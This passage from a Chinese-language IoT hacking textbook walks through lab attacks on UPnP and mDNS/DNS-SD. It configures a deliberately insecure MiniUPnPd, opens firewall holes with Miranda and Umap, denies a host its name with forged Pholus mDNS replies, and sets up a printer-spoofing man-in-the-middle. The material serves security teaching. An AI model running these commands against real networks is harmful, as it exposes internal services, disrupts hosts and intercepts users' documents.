其中一个是桥接到本地网络并对应于 eth0(LAN 接口)。在我们的案例中,我们静态配置它为 IP 地址 192.168.10.254,对应于我们的本地网络实验室。我们通过手动编辑 OpenWrt 虚拟机的 /etc/network/config 文件来配置这个 IP 地址。根据你的本地网络配置调整此设置。
-
其中一个被配置为 VMware 的 NAT 接口,并对应于 eth1(WAN 接口)。它通过 DHCP 自动分配了 IP 地址 192.168.92.148。这个接口模拟了路由器的外部接口,或称 PPP 接口,该接口通常连接到互联网服务提供商,并具有公共 IP 地址。
如果你以前没有使用过 VMware,可以参考 www.vmware.com/support/ws45/doc/network_configure_ws.html 的指南,帮助你为虚拟机设置额外的网络接口。虽然它提到的是 4.5 版本,但该指南适用于所有现代 VMware 实现。如果你在 macOS 上使用 VMware Fusion,可以参考 docs.vmware.com/en/VMware-Fusion/12/com.vmware.fusion.using.doc/GUID-E498672E-19DD-40DF-92D3-FC0078947958.html 进行设置。在任何一种情况下,添加第二个网络适配器并将其设置为 NAT(在 Fusion 上称为“与我的 Mac 共享”),然后将第一个网络适配器修改为桥接模式(在 Fusion 上称为“桥接网络”)。
你可能希望配置 VMware 设置,使桥接模式仅应用于实际连接到本地网络的适配器。因为你有两个适配器,VMware 的自动桥接功能可能会尝试桥接到未连接的那个适配器。通常情况下,会有一个以太网适配器和一个 Wi-Fi 适配器,所以确保检查每个适配器连接的网络。
现在,OpenWrt 虚拟机的网络接口部分的/etc/config/network文件应如下所示:
config interface 'lan'
option ifname 'eth0'
option proto 'static'
option ipaddr '192.168.10.254'
option netmask '255.255.255.0'
option ip6assign '60'
option gateway '192.168.10.1'
config interface 'wan'
option ifname 'eth1'
option proto 'dhcp'
config interface 'wan6'
option ifname 'eth1'
option proto 'dhcpv6'
确保您的 OpenWrt 具有互联网连接,然后在 shell 中输入以下命令安装 MiniUPnP 服务器和 luci-app-upnp。luci-app-upnp 包允许您通过 Luci(OpenWrt 的默认 Web 界面)配置和显示 UPnP 设置:
# opkg update && opkg install miniupnpd luci-app-upnp
然后我们需要配置 MiniUPnPd。输入以下命令,使用 Vim 编辑该文件(或者使用您选择的文本编辑器):
# vim /etc/init.d/miniupnpd
向下滚动,直到文件第二次提到 config_load "upnpd"(在 MiniUPnP 版本 2.1-1 中,位于第 134 行)。将设置更改为如下所示:
config_load "upnpd"
upnpd_write_bool enable_natpmp 1
upnpd_write_bool enable_upnp 1
upnpd_write_bool secure_mode 0
最重要的更改是禁用 secure_mode. 禁用此设置允许客户端将传入端口重定向到除自身以外的 IP 地址。默认情况下启用此设置,这意味着服务器会禁止攻击者添加将端口重定向到任何其他 IP 地址的映射。
config_load "upnpd" 命令还会从 /etc/config/upnpd 文件中加载额外的设置,您应该将其更改为如下所示:
config upnpd 'config'
option download '1024'
option upload '512'
option internal_iface 'lan'
option external_iface 'wan' 1
option port '5000'
option upnp_lease_file '/var/run/miniupnpd.leases'
option enabled '1' 2
option uuid '125c09ed-65b0-425f-a263-d96199238a10'
option secure_mode '0'
option log_output '1'
config perm_rule
option action 'allow'
option ext_ports '1024-65535'
option int_addr '0.0.0.0/0'
option int_ports '0-65535'3
option comment 'Allow all ports'
首先,您需要手动添加外部接口选项 1;否则,服务器将不允许端口重定向到 WAN 接口。第二,启用 init 脚本以启动 MiniUPnP 2。第三,允许将所有内部端口 3 的重定向,从 0 开始。默认情况下,MiniUPnPd 只允许将端口重定向到某些端口。我们删除了所有其他的 perm_rules。如果您按如下所示复制 /etc/config/upnpd 文件,您就可以继续进行操作。
完成更改后,使用以下命令重启 MiniUPnP 守护进程:
# /etc/init.d/miniupnpd restart
在重启服务器后,您还需要重启 OpenWrt 防火墙。防火墙是 Linux 操作系统的一部分,OpenWrt 默认启用它。您可以通过浏览 Web 界面 192.168.10.254/cgi-bin/luci/admin/status/iptables/ 并点击 Restart Firewall,或者在终端中输入以下命令来轻松完成:
# /etc/init.d/firewall restart
当前版本的 OpenWrt 更加安全,而我们故意将这个服务器设置为不安全,以便进行本次练习。然而,许多现有的物联网产品默认配置就是这样。
防火墙打孔
在设置好我们的测试环境后,接下来我们通过利用 IGD 进行防火墙打孔攻击。我们将使用 IGD 的 WANIPConnection 子配置文件,它支持 AddPortMapping 和 DeletePortMapping 操作,分别用于添加和删除端口映射。我们将使用 AddPortMapping 命令,并通过 UPnP 测试工具 Miranda 进行测试,该工具在 Kali Linux 上预装。如果您没有预装 Miranda,可以通过 github.com/0x90/miranda-upnp/ 获取—请注意,您需要 Python 2 来运行它。Listing 6-1 使用 Miranda 对易受攻击的 OpenWrt 路由器进行防火墙打孔。
# miranda
upnp> **msearch**
upnp> **host list**
upnp> **host get 0**
upnp> **host details 0**
upnp> **host send 0 WANConnectionDevice WANIPConnection AddPortMapping**
Set NewPortMappingDescription value to: **test**
Set NewLeaseDuration value to: **0**
Set NewInternalClient value to: **192.168.10.254**
Set NewEnabled value to: **1**
Set NewExternalPort value to: **5555**
Set NewRemoteHost value to:
Set NewProtocol value to: **TCP**
Set NewInternalPort value to: **80**
Listing 6-1:使用 Miranda 打开 OpenWrt 路由器上的防火墙孔
msearch命令向 UDP 端口 1900 的多播地址 239.255.255.250 发送一个 M-SEARCH *数据包,完成了如“UPnP 协议栈”第 119 页中所描述的主动发现阶段。你可以随时按 CTRL-C 停止等待更多的回复,当目标响应时你应该这样做。
主机 192.168.10.254 现在应该出现在主机列表中,这是工具内部跟踪的目标列表,并附有相关索引。将索引作为参数传递给host get命令来获取rootDesc.xml描述文件。一旦执行,host details应显示所有支持的 IGD 配置文件和子配置文件。在这种情况下,WANIPConnection应该在WANConnectionDevice下显示出来,作为我们目标的配置。
最后,我们向主机发送AddPortMapping命令,将外部端口 5555(随机选择)重定向到 Web 服务器的内部端口,从而将 Web 管理界面暴露给互联网。输入命令后,我们必须指定其参数。NewPortMappingDescription是一个字符串值,通常会显示在路由器的 UPnP 设置中用于映射。NewLeaseDuration设置端口映射的有效时间,值0表示无限时间。NewEnabled参数可以是0(表示不活跃)或1(表示活跃)。NewInternalClient是指与映射关联的内部主机的 IP 地址。NewRemoteHost通常为空,否则,它会将端口映射限制为特定的外部主机。NewProtocol可以是 TCP 或 UDP。NewInternalValue是NewInternalClient主机的端口,来自NewExternalPort的流量将被转发到该端口。
现在我们应该能够通过访问 OpenWrt 路由器的 Web 界面 192.168.10.254/cgi/bin/luci/admin/services/upnp 来查看新的端口映射(图 6-1)。

图 6-1:我们应该能在 Luci 界面中看到新的端口映射。
为了测试我们的攻击是否成功,让我们访问路由器的外部 IP 地址 192.168.92.148,端口是转发的 5555. 记住,私有 Web 界面通常不应该通过面向公众的接口访问。图 6-2 展示了结果。

图 6-2:可访问的 Web 界面
在我们发送AddPortMapping命令后,私有 Web 界面变得可以通过外部接口的 5555 端口访问。
通过 WAN 接口滥用 UPnP
接下来,让我们通过 WAN 接口远程滥用 UPnP。这种策略可能允许外部攻击者造成一些损害,比如将 LAN 内部主机的端口转发或执行其他有用的 IGD 命令,例如自解释的GetPassword或GetUserName。你可以在有漏洞或配置不当的 UPnP 实现中执行此攻击。
为了执行这个攻击,我们将使用 Umap,这是一个专门为此目的编写的工具。
攻击如何进行
作为安全预防措施,大多数设备通常不会接受通过 WAN 接口传输的 SSDP 数据包,但其中一些仍然可以通过开放的 SOAP 控制点接受 IGD 命令。这意味着攻击者可以直接从互联网与它们交互。
基于这个原因,Umap 跳过了 UPnP 堆栈的发现阶段(即设备通过 SSDP 发现网络中的其他设备的阶段),并尝试直接扫描 XML 描述文件。如果找到文件,它就会进入 UPnP 的控制步骤,并通过发送指向描述文件中 URL 的 SOAP 请求与设备交互。
图 6-3 展示了 Umap 扫描内部网络的流程图。

图 6-3:Umap 扫描主机的流程图
Umap 首先通过测试多种已知的 XML 文件位置(例如/rootDesc.xml或/upnp/IGD.xml)来尝试扫描 IGD 控制点。在成功找到一个之后,Umap 会尝试猜测内部 LAN 的 IP 区块。记住,你正在扫描外部(面向互联网的)IP 地址,所以 NAT 设备后的 IP 地址会有所不同。
接下来,Umap 会为每个常见端口发送一个 IGD 端口映射命令,将该端口转发到 WAN。然后它会尝试连接到该端口。如果端口关闭,它会发送一个 IGD 命令来删除端口映射。否则,它会报告端口已打开,并保持端口映射不变。默认情况下,它扫描以下常见端口(硬编码在commonPorts变量中,位于umap.py文件内):
commonPorts = ['21','22','23','80','137','138','139','443','445','3389', '8080']
当然,你可以编辑commonPorts变量,并尝试转发其他端口。你可以通过运行以下 Nmap 命令找到最常用的 TCP 端口的一个很好的参考:
# nmap --top-ports 100 -v -oG –
Nmap 7.70 scan initiated Mon Jul 8 00:36:12 2019 as: nmap --top-ports 100 -v -oG -
# Ports scanned: TCP(100;7,9,13,21-23,25-26,37,53,79-81,88,106,110-111,113,119,135,139,143-144,179,199,389,427,443-445,465,513-515,543-544,548,554,587,631,646,873,990,993,995,1025-1029,1110,1433,1720,1723,1755,1900,2000-2001,2049,2121,2717,3000,3128,3306,3389,3986,4899,5000,5009,5051,5060,5101,5190,5357,5432,5631,5666,5800,5900,6000-6001,6646,7070,8000,8008-8009,8080-8081,8443,8888,9100,9999-10000,32768,49152-49157) UDP(0;) SCTP(0;) PROTOCOLS(0;)
获取和使用 Umap
Umap 首次由 Daniel Garcia 在 Defcon 19 发布;你可以在工具作者的官方网站上找到它的最新版本:toor.do/umap-0.8.tar.gz。解压缩 tarball 文件后,你可能还需要安装 SOAPpy 和 iplib:
# apt-get install pip
# pip install SOAPpy
# pip install iplib
Umap 是用 Python 2 编写的,而 Python 2 已不再正式维护;因此,如果你的 Linux 发行版没有提供 Python 2 的pip包管理器,你需要手动从pypi.org/project/pip/#files下载它。下载最新版本的源代码,并按以下方式运行:
# tar -xzf pip-20.0.2.tar.gz
# cd pip-20.0.2
# python2.7 setup install
使用以下命令运行 Umap(将 IP 地址替换为目标的外部 IP 地址):
# ./umap.py -c -i 74.207.225.18
一旦你运行它,Umap 将按照图 6-3 所示的流程图执行。即使设备没有公布 IGD 命令(意味着该命令不一定会作为controlURL出现在description XML 文件中),一些系统仍然会接受这些命令,因为存在 BUG 的 UPnP 实现。所以,你应该始终在适当的安全测试中尝试所有这些命令。
表 6-1:可能的 IGD 命令列表
SetConnectionType |
设置特定的连接类型。 |
|---|---|
GetConnectionTypeInfo |
获取当前连接类型及允许的连接类型值。 |
ConfigureConnection |
发送此命令以在 WAN 设备上配置 PPP 连接,并将ConnectionStatus从Unconfigured更改为Disconnected。 |
RequestConnection |
在已经定义配置的连接服务实例上发起连接。 |
RequestTermination |
发送此命令到任何处于Connected、Connecting或Authenticating状态的连接实例,以将ConnectionStatus更改为Disconnected。 |
ForceTermination |
发送此命令到任何处于Connected、Connecting、Authenticating、PendingDisconnect或Disconnecting状态的连接实例,以将ConnectionStatus更改为Disconnected。 |
SetAutoDisconnectTime |
设置活动连接在断开前的时间(秒)。 |
SetIdleDisconnectTime |
指定空闲时间(秒),连接在此时间后可以断开。 |
SetWarnDisconnectDelay |
指定在连接终止前,向每个(潜在的)活动用户发出的警告时间(秒)。 |
GetStatusInfo |
获取与连接状态相关的状态变量值。 |
GetLinkLayerMaxBitRates |
获取连接的最大上行和下行比特率。 |
GetPPPEncryptionProtocol |
获取链路层(PPP)加密协议。 |
GetPPPCompressionProtocol |
获取链路层(PPP)压缩协议。 |
GetPPPAuthenticationProtocol |
获取链路层(PPP)认证协议。 |
GetUserName |
获取用于激活连接的用户名。 |
GetPassword |
获取用于激活连接的密码。 |
GetAutoDisconnectTime |
获取在活动连接自动断开后的时间(秒)。 |
GetIdleDisconnectTime |
获取空闲时间(秒),连接在此时间后可以断开。 |
GetWarnDisconnectDelay |
获取在连接终止前,向每个(潜在的)活动用户发出的警告时间(秒)。 |
GetNATRSIPStatus |
获取此连接在网关上当前的 NAT 和领域特定 IP(RSIP)状态。 |
GetGenericPortMappingEntry |
一次获取一个 NAT 端口映射条目。 |
GetSpecificPortMappingEntry |
报告由RemoteHost、ExternalPort和PortMappingProtocol的唯一元组指定的静态端口映射。 |
AddPortMapping |
创建新的端口映射或用相同的内部客户端覆盖现有映射。如果ExternalPort和PortMappingProtocol对已经映射到另一个内部客户端,则返回错误。 |
DeletePortMapping |
删除先前实例化的端口映射。每删除一项条目,数组会被压缩,事件变量 PortMappingNumberOfEntries 会递减。 |
GetExternalIPAddress |
检索此连接实例的外部 IP 地址值。 |
请注意,Umap 的最新公共版本(0.8)不会自动测试这些命令。你可以在官方规范中找到关于它们的更详细信息:upnp.org/specs/gw/UPnP-gw-WANPPPConnection-v1-Service.pdf/。
在 Umap 识别出一个暴露于互联网的 IGD 后,你可以使用 Miranda 手动测试这些命令。根据命令的不同,你应当收到不同的回复。例如,回到我们脆弱的 OpenWrt 路由器,并对其运行 Miranda,我们可以看到这些命令的部分输出:
upnp> **host send** **0** **WANConnectionDevice WANIPv6FirewallControl GetFirewallStatus**
InboundPinholeAllowed : 1
FirewallEnabled : 1
upnp> **host send** **0** **WANConnectionDevice WANIPConnection GetStatusInfo**
NewUptime : 10456
NewLastConnectionError : ERROR_NONE
NewConnectionStatus : Connected
但该工具可能并不会始终指示命令是否成功,因此请记得始终保持 Wireshark 等数据包分析工具处于活动状态,以便了解背后发生了什么。
请记住,运行 host details 会给你一个广告命令的长列表,但你仍然应该尝试测试它们中的所有命令。以下输出仅显示了我们之前配置的 OpenWrt 系统命令列表的第一部分:
upnp> **host details 0**
Host name: [fd37:84e0:6d4f::1]:5000
UPNP XML File: http://[fd37:84e0:6d4f::1]:5000/rootDesc.xml
Device information:
Device Name: InternetGatewayDevice
Service Name: Device Protection
controlURL: /ctl/DP
eventSUbURL: /evt/DP
serviceId: urn:upnp-org:serviceId:DeviceProtection1
SCPDURL: /DP.xml
fullName: urn:schemas-upnp-org:service:DeviceProtection:1
ServiceActions:
GetSupportedProtocols
ProtocolList
SupportedProtocols:
dataType: string
sendEvents: N/A
allowedVallueList: []
direction: out
SendSetupMessage
…
该输出仅包含长列表中一小部分广告的 UPnP 命令。
其他 UPnP 攻击
你还可以尝试对 UPnP 进行其他攻击。例如,你可以利用路由器 Web 界面上的预认证 XSS 漏洞,利用 UPnP 的端口转发功能进行攻击。这种攻击即使路由器阻止 WAN 请求,也能远程工作。为了做到这一点,你首先需要通过社交工程让用户访问一个托管恶意 JavaScript 负载的网页,该负载包含 XSS。XSS 漏洞将使脆弱的路由器与用户处于相同的局域网内,这样你就可以通过 UPnP 服务向路由器发送命令。这些命令以特制的 XML 请求的形式,嵌入在一个 XMLHttpRequest 对象内,可以迫使路由器将 LAN 内的端口转发到互联网。
利用 mDNS 和 DNS-SD
多播 DNS (mDNS) 是一种零配置协议,在没有传统单播 DNS 服务器的情况下,允许你在本地网络上执行类似 DNS 的操作。该协议使用与 DNS 相同的 API、数据包格式和操作语义,允许你在本地网络上解析域名。DNS 服务发现 (DNS-SD) 是一种协议,允许客户端通过标准 DNS 查询在某个域中发现一组命名的服务实例(例如 test._ipps._tcp.local 或 linux._ssh._tcp.local)。DNS-SD 通常与 mDNS 一起使用,但并不依赖于 mDNS。它们被许多物联网设备使用,如网络打印机、Apple TV、Google Chromecast、网络附加存储(NAS)设备和摄像头。大多数现代操作系统都支持它们。
两种协议都在同一个广播域内操作,这意味着设备共享相同的数据链路层,也称为本地链接或计算机网络开放系统互联(OSI)模型中的第二层。这意味着消息不会通过路由器,路由器工作在第三层。设备必须连接到相同的以太网中继器或网络交换机,才能监听并回复这些多播消息。
本地链接协议可能引入漏洞,原因有二。首先,尽管你通常会在本地链接中遇到这些协议,但本地网络不一定是一个可信的、合作的参与者网络。复杂的网络环境往往缺乏适当的分段,使得攻击者可以从网络的一部分转移到另一部分(例如,通过攻破路由器)。此外,企业环境中常常采用自带设备(BYOD)政策,允许员工在这些网络中使用个人设备。在公共网络中,情况更糟,例如在机场或咖啡馆的网络中。其次,这些服务的不安全实现可能允许攻击者远程利用它们,完全绕过本地链接的隔离。
本节将讨论如何在物联网生态系统中滥用这两种协议。你可以进行侦察、中间人攻击、拒绝服务攻击、单播 DNS 缓存中毒等攻击!
mDNS 的工作原理
设备在本地网络缺少传统的单播 DNS 服务器时使用 mDNS。为了通过 mDNS 解析本地地址的域名,设备将一个以.local结尾的域名 DNS 查询发送到多播地址 224.0.0.251(对于 IPv4)或 FF02::FB(对于 IPv6)。你也可以使用 mDNS 解析全局域名(非.local的域名),但 mDNS 实现通常默认禁用此行为。mDNS 请求和响应使用 UDP,并且端口 5353 既是源端口也是目标端口。
每当 mDNS 响应者的连接性发生变化时,它必须执行两个活动:探测和公告。在首先进行的探测过程中,主机使用查询类型"ANY"(对应 mDNS 数据包中的 QTYPE 字段值 255)在本地网络上查询,检查它想要发布的记录是否已在使用。如果记录尚未被使用,主机就会通过发送未请求的 mDNS 响应到网络来公告其新注册的记录(这些记录包含在数据包的 Answer 部分)。
mDNS 响应包含多个重要标志,其中包括一个生存时间(TTL)值,表示记录有效的秒数。发送 TTL=0 的响应意味着应该清除相应的记录。另一个重要标志是 QU 位,它表示查询是否为单播查询。如果 QU 位没有被设置,数据包就是多播查询(QM)。因为有可能在本地链路之外接收到单播查询,安全的 mDNS 实现应始终检查数据包中的源地址是否与本地子网地址范围匹配。
DNS-SD 的工作原理
DNS-SD 允许客户端发现网络上可用的服务。要使用它,客户端发送标准的 DNS 查询请求指针记录(PTR),这些记录将服务类型映射到该类型服务的特定实例名称列表。
要请求 PTR 记录,客户端使用 "<Service>.<Domain>" 的名称格式。<Service> 部分是由一对 DNS 标签组成:一个下划线字符,后跟服务名称(例如 _ipps、_printer 或 _ipp),以及 _tcp 或 _udp。<Domain> 部分是 ".local"。响应者随后返回指向附带的服务(SRV)和文本(TXT)记录的 PTR 记录。一个 mDNS PTR 记录包含服务的名称,这与 SRV 记录的名称相同,但不包含实例名称:换句话说,它指向 SRV 记录。以下是一个 PTR 记录的示例:
_ipps._tcp.local: type PTR, class IN, test._ipps._tcp.local
PTR 记录冒号左边的部分是它的名称,右边的部分是 PTR 记录指向的 SRV 记录。SRV 记录列出了可以访问该服务实例的目标主机和端口。例如,图 6-4 显示了 Wireshark 中的 "test._ipps._tcp.local" SRV 记录。

图 6-4:服务 "test._ipps._tcp.local" 的 SRV 记录示例。Target 和 Port 字段包含服务的主机名和监听端口。
SRV 名称的格式是 "<Instance>.<Service>.<Domain>"。<Instance> 标签包含服务的用户友好名称(在此示例中为 test)。<Service> 标签标识服务的功能以及它使用的应用协议。它由一组 DNS 标签组成:一个下划线字符,后跟服务名称(例如 _ipps、_ipp、_http),然后是传输协议(例如 _tcp、_udp、_sctp 等)。<Domain> 部分指定这些名称注册的 DNS 子域。对于 mDNS,它是 *.local*,但在使用单播 DNS 时可以是任何名称。SRV 记录还包含 Target 和 Port 部分,列出了可以找到该服务的主机名和端口(参见 图 6-4)。
TXT 记录与 SRV 记录具有相同的名称,提供了关于该实例的额外信息,采用键/值对的结构形式。当服务的 IP 地址和端口号(包含在 SRV 记录中)不足以识别该服务时,TXT 记录就会提供所需的信息。例如,在旧的 Unix LPR 协议中,TXT 记录指定了队列名称。
使用 mDNS 和 DNS-SD 进行侦察
通过简单地发送 mDNS 请求并捕获多播 mDNS 流量,你可以了解很多有关本地网络的信息。例如,你可以发现可用的服务,查询某个服务的特定实例,列举域名,并识别主机。对于主机识别,必须在你试图识别的系统上启用_workstation特殊服务。
我们将使用 Antonios Atlasis 开发的工具 Pholus 进行侦察。你可以从github.com/aatlasis/Pholus/下载。请注意,Pholus 是用 Python 2 编写的,而 Python 2 已不再得到官方支持。你可能需要像我们在《获取和使用 Umap》一章中介绍的 Umap 安装那样,手动下载 Python2 的 pip。然后,你需要使用 Python2 版本的 pip 安装 Scapy:
# pip install scapy
Pholus 将发送 mDNS 请求(-rq)到本地网络并捕获多播 mDNS 流量(设置-stimeout为 10 秒),以识别大量有趣的信息:
root@kali:~/zeroconf/mdns/Pholus# ./pholus.py eth0 -rq -stimeout 10
source MAC address: 00:0c:29:32:7c:14 source IPv4 Address: 192.168.10.10 source IPv6 address: fdd6:f51d:5ca8:0:20c:29ff:fe32:7c14
Sniffer filter is: not ether src 00:0c:29:32:7c:14 and udp and port 5353
I will sniff for 10 seconds, unless interrupted by Ctrl-C
------------------------------------------------------------------------
Sending mdns requests
30:9c:23:b6:40:15 192.168.10.20 QUERY Answer: _services._dns-sd._udp.local. PTR Class:IN "_nvstream_dbd._tcp.local."
9c:8e:cd:10:29:87 192.168.10.245 QUERY Answer: _services._dns-sd._udp.local. PTR Class:IN "_http._tcp.local."
00:0c:29:7f:68:f9 fd37:84e0:6d4f::1 QUERY Question: 1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.f.4.d.6.0.e.4.8.7.3.d.f.ip6.arpa. * (ANY) QM Class:IN
00:0c:29:7f:68:f9 fd37:84e0:6d4f::1 QUERY Question: OpenWrt-1757.local. * (ANY) QM Class:IN
00:0c:29:7f:68:f9 fd37:84e0:6d4f::1 QUERY Auth_NS: OpenWrt-1757.local. HINFO Class:IN "X86_64LINUX"
00:0c:29:7f:68:f9 fd37:84e0:6d4f::1 QUERY Auth_NS: OpenWrt-1757.local. AAAA Class:IN "fd37:84e0:6d4f::1"
00:0c:29:7f:68:f9 fd37:84e0:6d4f::1 QUERY Auth_NS: 1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.f.4.d.6.0.e.4.8.7.3.d.f.ip6.arpa. PTR Class:IN "OpenWrt-1757.local."
图 6-5 显示了 Pholus 查询的 Wireshark 数据包捕获。请注意,回复是发送回 UDP 端口 5353 的多播地址。因为任何人都可以接收多播消息,所以攻击者可以轻松地从伪造的 IP 地址发送 mDNS 查询,并仍然能在本地网络上接收到回复。
了解网络上暴露的服务是任何安全测试的第一步。通过这种方法,你可以找到具有潜在漏洞的服务,并进行利用。
滥用 mDNS 探测阶段
在本节中,我们将利用 mDNS 探测阶段。在此阶段,每当 mDNS 响应器启动或更改其连接状态时,响应器会向本地网络询问是否有与它计划公告的名称相同的资源记录。为此,它会发送类型为"ANY" (255)的查询,如图 6-6 所示。

图 6-5:Pholus 发送 mDNS 请求并在多播地址上接收回复
如果答案包含相关记录,探测主机应选择一个新名称。如果在 10 秒内发生 15 次冲突,主机必须至少等待五秒钟才能进行下一次尝试。此外,如果一分钟内主机找不到未使用的名称,它将向用户报告错误。

图 6-6:一个关于"test._ipps._tcp.local"的 mDNS "ANY"查询示例
探测阶段为以下攻击提供了便利:攻击者可以监控 mDNS 流量中的探测主机,然后持续发送包含相关记录的响应,迫使主机不断更改其名称,直到主机停止。这强制执行配置更改(例如,探测主机必须为其提供的服务选择一个新名称),并且如果主机无法访问其正在寻找的资源,还可能导致拒绝服务攻击。
为了快速演示此攻击,请使用 Pholus 并带上参数 -afre:
# python pholus.py eth0 -afre -stimeout 1000
将 eth0 参数替换为你首选的网络接口。-afre 参数使 Pholus 在 -stimeout 秒内发送伪造的 mDNS 回复。
该输出显示 Pholus 在网络上阻止了一个新的 Ubuntu 主机:
00:0c:29:f4:74:2a 192.168.10.219 QUERY Question: **ubuntu-133.local.** * (ANY) QM Class:IN
00:0c:29:f4:74:2a 192.168.10.219 QUERY Auth_NS: ubuntu-133.local. AAAA Class:IN "fdd6:f51d:5ca8:0:c81e:79a4:8584:8a56"
00:0c:29:f4:74:2a 192.168.10.219 QUERY Auth_NS: 6.5.a.8.4.8.5.8.4.a.9.7.e.1.8.c.0.0.0.0.8.a.c.5.d.1.5.f.6.d.d.f.ip6.arpa. PTR Class:IN "ubuntu-133.local."
Query Name = 6.5.a.8.4.8.5.8.4.a.9.7.e.1.8.c.0.0.0.0.8.a.c.5.d.1.5.f.6.d.d.f.ip6.arpa Type= 255
00:0c:29:f4:74:2a fdd6:f51d:5ca8:0:e923:d17e:4a0f:184d QUERY Question: 6.5.a.8.4.8.5.8.4.a.9.7.e.1.8.c.0.0.0.0.8.a.c.5.d.1.5.f.6.d.d.f.ip6.arpa. * (ANY) QM Class:IN
Query Name = ubuntu-134.local Type= 255
00:0c:29:f4:74:2a fdd6:f51d:5ca8:0:e923:d17e:4a0f:184d QUERY Question: ubuntu-134.local. * (ANY) QM Class:IN
00:0c:29:f4:74:2a fdd6:f51d:5ca8:0:e923:d17e:4a0f:184d QUERY Auth_NS: ubuntu-134.local. AAAA Class:IN "fdd6:f51d:5ca8:0:c81e:79a4:8584:8a56"
当 Ubuntu 主机启动时,其 mDNS 响应程序尝试查询本地名称 ubuntu.local。由于 Pholus 不断发送伪造的回复,表示攻击者拥有该名称,Ubuntu 主机不断迭代新的潜在名称,如 ubuntu-2.local、ubuntu-3.local 等,最终都无法注册。注意,主机尝试到 ubuntu-133.local 时依然没有成功。
mDNS 和 DNS-SD 中间人攻击
现在,让我们尝试一个更具影响力的高级攻击:mDNS 欺骗攻击者通过利用 mDNS 中缺乏身份验证的漏洞,将自己置于客户端和某个服务之间的特权中间人位置。这使他们能够捕获和修改通过网络传输的潜在敏感数据,或干脆拒绝服务。
在本节中,我们将使用 Python 构建一个 mDNS 欺骗工具,伪装成网络打印机,以捕获本应发送到真实打印机的文档。然后,我们将在虚拟环境中测试该攻击。
设置受害者服务器
我们将首先设置受害者机器,使用 ippserver 模拟一个打印机。Ippserver 是一个简单的互联网打印协议(IPP)服务器,可以充当一个非常基本的打印服务器。我们使用了 Ubuntu 18.04.2 LTS(IP 地址:192.168.10.219)在 VMware 上,但操作系统的具体细节不重要,只要你能运行当前版本的 ippserver。
安装操作系统后,在终端中输入以下命令启动打印服务器:
$ **ippserver test -v**
该命令调用默认配置设置下的 ippserver。它应该监听 TCP 8000 端口,宣布一个名为 test 的服务,并启用详细输出。如果你在启动服务器时打开了 Wireshark,你应该注意到服务器通过向本地多播地址 224.0.0.251 发送 mDNS 查询来执行探测阶段,询问是否已经有人拥有名为 test 的打印服务(图 6-7)。

图 6-7:Ippserver 发送 mDNS 查询,询问是否已经使用了与名为 test 的打印机服务相关的资源记录。
这个查询还包含了一些在权限部分的提议记录(你可以在图 6-7 中看到这些记录,位于Authoritative nameservers下)。因为这不是一个 mDNS 回复,所以这些记录不算作官方响应;它们用于在同时探测的情况下作为决胜记录,这种情况目前不需要我们关注。
服务器接下来会等待几秒钟,如果网络上没有其他设备回复,它将进入公告阶段。在这个阶段,ippserver 会发送一个非请求的 mDNS 响应,其中的答案部分包含了所有它新注册的资源记录(见图 6-8)。

图 6-8:在公告阶段,ippserver 发送了一个包含新注册记录的非请求 mDNS 响应。
该响应包含了一组针对每个服务的 PTR、SRV 和 TXT 记录,如《DNS-SD 工作原理》一书第 132 页所解释的内容。它还包括 A 记录(针对 IPv4)和 AAAA 记录(针对 IPv6),这些记录用于通过 IP 地址解析域名。在这种情况下,ubuntu.local的 A 记录将包含 IP 地址 192.168.10.219。
设置受害客户端
对于请求打印服务的受害者,你可以使用任何运行支持 mDNS 和 DNS-SD 的操作系统的设备。在这个例子中,我们将使用一台运行 macOS High Sierra 的 MacBook Pro。苹果的零配置网络实现被称为 Bonjour,它基于 mDNS。Bonjour 应该在 macOS 中默认启用。如果没有,你可以通过在终端中输入以下命令来启用它:
$ **sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist**
图 6-9 展示了当我们点击系统偏好设置 ▶ 打印机与扫描仪并点击+按钮添加新打印机时,mDNSResponder(Bonjour 的主引擎)是如何自动找到合法的 Ubuntu 打印服务器的。
为了让攻击场景更具现实感,我们假设 MacBook 已经预配置了一个名为test的网络打印机。自动服务发现的一个最重要方面是,无论我们的系统是否曾经发现过该服务,都会继续工作!这增加了灵活性(尽管牺牲了安全性)。即使主机名和 IP 地址发生了变化,客户端仍然需要能够与服务通信;因此,每当 macOS 客户端需要打印文档时,它都会发送一个新的 mDNS 查询,询问test服务的位置,即使该服务的主机名和 IP 地址与上次一样。

图 6-9:macOS 内置的 Bonjour 服务自动发现的合法打印机
常见客户端与服务器交互的工作原理
现在,让我们看看 macOS 客户端在一切正常时如何请求打印机服务。如图 6-10 所示,客户端对test服务的 mDNS 查询会请求test._ipps._tcp.local的 SRV 和 TXT 记录。它还会请求类似的替代服务,例如test._printer._tcp.local和test._ipp._tcp.local。

图 6-10:客户端最初发送的 mDNS 查询,用于发现本地网络打印机,再次询问test ipps 服务,尽管它可能曾经使用过该服务。
然后,Ubuntu 系统将像在宣布阶段一样进行回复。它将发送包含 PTR、SRV 和 TXT 记录的响应,这些记录是它应该拥有权限的所有请求服务(例如,test._ipps._tcp.local),并且还会包含 A 记录(如果主机启用了 IPv6,还会包含 AAAA 记录)。在这种情况下,TXT 记录(图 6-11)尤其重要,因为它包含了提交打印作业的确切 URL(adminurl)。

图 6-11:TXT 记录的一部分,这部分包含在 ippserver 的 mDNS 响应答复部分。adminurl包含了打印队列的确切位置。
一旦 macOS 客户端获得了这些信息,它就知道了所有需要的信息来将打印作业发送到 Ubuntu 的 ippserver:
-
从 PTR 记录中,可以知道有一个名为
test的服务,位于_ipps._tcp.local。 -
从 SRV 记录中,可以得知该
test._ipps._tcp.local服务托管在ubuntu.local上,TCP 端口为 8000。 -
从 A 记录中可以得知,
ubuntu.local解析为 192.168.10.219。 -
从 TXT 记录中,可以得知提交打印作业的 URL 是
ubuntu.8000/ipp/print。
然后,macOS 客户端将启动与 ippserver 在 8000 端口上的 HTTPS 会话,并传输要打印的文档:
[Client 1] Accepted connection from "192.168.10.199".
[Client 1] Starting HTTPS session.
[Client 1E] Connection now encrypted.
[Client 1E] POST /ipp/print
[Client 1E] Continue
[Client 1E] Get-Printer-Attributes successful-ok
[Client 1E] OK
[Client 1E] POST /ipp/print
[Client 1E] Continue
[Client 1E] Validate-Job successful-ok
[Client 1E] OK
[Client 1E] POST /ipp/print
[Client 1E] Continue
[Client 1E] Create-Job successful-ok
[Client 1E] OK
